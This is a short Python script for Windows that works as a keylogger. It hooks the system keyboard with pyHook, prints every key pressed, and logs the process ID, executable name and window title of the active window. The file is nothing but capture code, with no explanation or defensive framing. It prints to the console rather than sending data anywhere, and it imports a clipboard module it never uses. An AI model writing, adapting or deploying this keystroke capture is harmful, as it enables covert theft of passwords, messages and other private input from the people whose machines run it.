from ctypes import *
import pyHook
import pythoncom
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
	hwnd = user32.GetForegroundWindow()

	pid = c_ulong(0)
	user32.GetWindowThreadProcessId(hwnd, byref(pid))

	process_id = "%d" % pid.value

	executable = create_string_buffer(b"\x00" * 512)
	h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

	psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

	window_title = create_string_buffer(b"\x00" * 512)
	length = user32.GetWindowTextA(hwnd,byref(window_title),512)

	#print('\n')
	print("[PID:%r|%s| %r]" %(process_id, executable.value, window_title.value))

	kernel32.CloseHandle(hwnd)
	kernel32.CloseHandle(h_process)

def KeyStroke(event):
	global current_window

	if event.WindowName != current_window:
		current_window= event.WindowName
		get_current_process()


	print(event.Key)

	return True

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()